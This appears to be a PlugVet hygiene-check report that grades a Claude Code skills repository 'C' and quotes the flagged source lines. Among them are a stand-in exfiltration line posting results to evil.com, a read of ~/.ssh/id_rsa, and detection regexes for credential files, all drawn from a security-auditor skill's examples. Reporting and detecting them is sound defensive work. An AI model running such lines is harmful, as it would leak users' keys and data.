Grades are a hygiene check, not a security guarantee.

MCP, MCP server

My Claude Skills

my-claude-skills is a set of Claude Code skills for day-to-day work on software projects.

Compatibility: Not stated.

Grade C

One Medium finding. Read the report before installing.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

SECRETS_PATH_CREDENTIAL

Why this grade

  • SECRETS_PATH_CREDENTIAL Medium

    Mentions a credential store path (~/.ssh, id_rsa, .npmrc, .aws/credentials, credentials.json, .netrc).

    skill-security-auditor/SKILL.md, line 121 Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Concern

    can delete files.

    PERMISSION_DELETE_FILES

    skill-security-auditor/scripts/skill_security_auditor.py, line 125

    "risk": "Arbitrary command execution via os.system()",

    skill-security-auditor/scripts/skill_security_auditor.py, line 126

    "fix": "Use subprocess.run() with list arguments and shell=False",

    skill-security-auditor/scripts/skill_security_auditor.py, line 132

    "risk": "Command execution via os.popen()",

    Show more

    skill-security-auditor/scripts/skill_security_auditor.py, line 133

    "fix": "Use subprocess.run() with list arguments and capture_output=True",

    skill-security-auditor/scripts/skill_security_auditor.py, line 140

    "fix": "Use subprocess.run() with list arguments and shell=False",

    skill-security-auditor/scripts/skill_security_auditor.py, line 147

    "fix": "Use subprocess.run() with list arguments",

    skill-security-auditor/scripts/skill_security_auditor.py, line 909

    subprocess.run(

    skill-security-auditor/scripts/skill_security_auditor.py, line 917

    shutil.rmtree(tmp_dir, ignore_errors=True)

    skill-security-auditor/scripts/skill_security_auditor.py, line 929

    shutil.rmtree(tmp_dir, ignore_errors=True)

    skill-security-auditor/scripts/skill_security_auditor.py, line 1045

    shutil.rmtree(cleanup_dir, ignore_errors=True)

    dependency-auditor/README.md, line 461

    scan_result = subprocess.run([

  • Install and update

    Pass

    No install-time script found, and dependencies are pinned or absent.

  • Network

    Concern

    can reach a host that is not written as a fixed address. can reach evil.com. The description does not name that host. can reach analytics.evil.com. The description does not name that host.

    NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST

    pr-review-expert/SKILL.md, line 252

    curl -s -u "[email protected]:$JIRA_API_TOKEN" \

    pr-review-expert/SKILL.md, line 258

    curl -s -H "Authorization: $LINEAR_API_KEY" \

    skill-security-auditor/SKILL.md, line 116

    Pattern: requests.post("https://evil.com/collect", data=results)

    Show more

    skill-security-auditor/scripts/skill_security_auditor.py, line 586

    "risk": "Outbound HTTP write request via fetch()",

    tech-debt-tracker/assets/sample_codebase/src/frontend.js, line 166

    fetch(API_BASE_URL + '/users/' + userId, {

    tech-debt-tracker/assets/sample_codebase/src/frontend.js, line 355

    fetch(API_BASE_URL + '/auth/login', {

    tech-debt-tracker/assets/sample_codebase/src/payment_processor.py, line 100

    response = requests.post(

    tech-debt-tracker/assets/sample_codebase/src/payment_processor.py, line 142

    response = requests.post(

  • Secrets

    Concern

    reads a credential or environment file.

    SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV

    pr-review-expert/SKILL.md, line 215

    grep "^+" /tmp/pr-$PR.diff | grep -oE "process\.env\.[A-Z_]+" | sort -u

    pr-review-expert/SKILL.md, line 218

    grep "^-" /tmp/pr-$PR.diff | grep -oE "process\.env\.[A-Z_]+" | sort -u

    skill-security-auditor/SKILL.md, line 121

    Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))

    Show more

    pr-review-expert/SKILL.md, line 282

    - [ ] New env vars documented in .env.example

    skill-security-auditor/scripts/skill_security_auditor.py, line 273

    "regex": r"(?:open|read|Path)\s*\([^)]*(?:\.ssh|\.aws|\.config/secrets|\.gnupg|\.npmrc|\.pypirc)",

    skill-security-auditor/scripts/skill_security_auditor.py, line 453

    "regex": r"(?i)(?:read|access|open|get)\s+(?:the\s+)?(?:contents?\s+of\s+)?(?:~|\/home|\/etc|\.ssh|\.aws|\.env|credentials?|secrets?|tokens?|api.?keys?)",

    skill-security-auditor/scripts/skill_security_auditor.py, line 770

    severity = Severity.CRITICAL if item.name == ".env" else Severity.HIGH

    skill-security-auditor/SKILL.md, line 84

    | **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |

  • Agent instructions

    Pass

    No instruction to ignore earlier instructions or to hide a step.

  • Obfuscation

    Pass

    No encoded or minified payload found.

  • Licence

    Note

    no licence file found.

    LICENCE_MISSING

    No file path was stored.

    no licence file found.

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

Note

Hygiene check of commit ccf1299cd4fc. can delete files. can reach a host that is not written as a fixed address. can reach evil.com. The description does not name that host. can reach analytics.evil.com. The description does not name that host. reads a credential or environment file. no licence file found.

Date and source

Date checked:

View source

github.com

Commit graded: ccf1299cd4fc511c5756be6412696b66cfc1730e

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen